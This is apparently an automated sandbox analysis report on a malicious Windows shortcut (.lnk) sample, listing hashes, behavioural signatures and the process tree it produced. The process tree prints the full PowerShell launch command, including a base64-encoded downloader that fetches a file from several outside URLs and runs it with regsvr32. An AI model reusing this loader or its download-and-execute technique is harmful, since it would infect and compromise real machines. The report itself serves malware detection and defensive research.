Analysis
-
max time kernel
96s -
max time network
140s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
13-11-2024 09:41
Static task
static1
Behavioral task
behavioral1
Sample
413443d3c9cd0697f6225103d9105b58acb30b7d2fc727400d062ff3e2f14f87.lnk
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
413443d3c9cd0697f6225103d9105b58acb30b7d2fc727400d062ff3e2f14f87.lnk
Resource
win10v2004-20241007-en
General
-
Target
413443d3c9cd0697f6225103d9105b58acb30b7d2fc727400d062ff3e2f14f87.lnk
-
Size
2KB
-
MD5
b42c043666c9902b91ae6a95cad6eff7
-
SHA1
d5d7fd9f52e7a8744eb327508cfbf19ad7dc0e77
-
SHA256
413443d3c9cd0697f6225103d9105b58acb30b7d2fc727400d062ff3e2f14f87
-
SHA512
012c7420631f47eea8781d224174d8485b57bc7694785897b3238d505cf2acbcf45461628938c3396702beb455590884f0de0f350578c43e5ebe49df56e60553
Malware Config
Signatures
-
Blocklisted process makes network request 6 IoCs
Processes:
powershell.exeflow pid Process 14 4980 powershell.exe 16 4980 powershell.exe 18 4980 powershell.exe 22 4980 powershell.exe 24 4980 powershell.exe 26 4980 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
cmd.exedescription ioc Process Key value queried \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation cmd.exe -
Processes:
powershell.exepowershell.exepid Process 3008 powershell.exe 4980 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exepowershell.exepid Process 3008 powershell.exe 3008 powershell.exe 4980 powershell.exe 4980 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid Process Token: SeDebugPrivilege 3008 powershell.exe Token: SeDebugPrivilege 4980 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
cmd.exepowershell.exedescription pid Process procid_target PID 1192 wrote to memory of 3008 1192 cmd.exe 84 PID 1192 wrote to memory of 3008 1192 cmd.exe 84 PID 3008 wrote to memory of 4980 3008 powershell.exe 87 PID 3008 wrote to memory of 4980 3008 powershell.exe 87
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\413443d3c9cd0697f6225103d9105b58acb30b7d2fc727400d062ff3e2f14f87.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1192 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command Out-String -InputObject "SOC report 04 27 2022.lnk " | Out-Null; [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cDovL2htZW5nLmNvLnVrL2NnaS1iaW4vSC8iLCJodHRwczovL2Vkb3Jhc2VndXJvcy5jb20uYnIvY2dpLWJpbi9taDNNTUdLZmhYdEovIiwiaHR0cHM6Ly93d3cucmVuZWV0dGVuLm5sL01lbnUvWE5NaHg2blNubnBwOGFaemsvIiwiaHR0cDovL2JyZW5kYW5jbGVhcnkubmV0L2ltYWdlcy9vSUxFSnhPYjAyMU9naEdkeHMvIiwiaHR0cHM6Ly9iZW5jZXZlbmRlZ2hhei5odS93cC1pbmNsdWRlcy9pVVd2VU5xLyIsImh0dHA6Ly9hbmF0LWJhci5jby5pbC93cC1hZG1pbi9ENkxpczVDdHJNZHVyTS8iKTtmb3JlYWNoICgkdSBpbiAkbGlua3MpIHt0cnkge0lXUiAkdSAtT3V0RmlsZSAkZW52OlRFTVAvd1p4cGNHaHFQeC5lcVo7UmVnc3ZyMzIuZXhlICRlbnY6VEVNUC93WnhwY0docVB4LmVxWjticmVha30gY2F0Y2ggeyB9fQ==')) > "C:\Users\Admin\AppData\Local\Temp\hgUQRrLvVK.ps1"; powershell -executionpolicy bypass -file "$env:TEMP/\hgUQRrLvVK.ps1"; Remove-Item "$env:TEMP/\hgUQRrLvVK.ps1" -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3008 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -file C:\Users\Admin\AppData\Local\Temp/\hgUQRrLvVK.ps13⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4980
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD52f57fde6b33e89a63cf0dfdd6e60a351
SHA1445bf1b07223a04f8a159581a3d37d630273010f
SHA2563b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
SHA51242857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
-
Filesize
600B
MD577e0a181712d3644a2b1da823e80c2d2
SHA1ed71984fb0584325d2016af51600a25f80023412
SHA256c0e4ba11bf057cc9e23bfca33c01687cf5cbfaea0e9729ce7a95c0a7a87590d8
SHA5127eaddfded984082234def37d17cf4c973f72be275e77704558ab8f99c01e8850be7d86715b404f7f299fb5e30c9017e6328da2c2593970630f6d2d2e1dd2ac54
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
926B
MD58ef6909ba4b9e6cd6676297601c39e5c
SHA19dcd9af682adacb278c1970d49babafd29df3928
SHA2569a9ba2e8478d73ec02ff4c0d2c30dc0e7fad0e54d16737875c2b60fcbcac727c
SHA512b8f40c8d659c82034984d703ea1a6cf4cbcdb3039bf917e2d9eba391f910af860c1e154ebe1b1004532b0412fa5c39db554a54f7c1bb1ec32c0bfcf4eb6900b5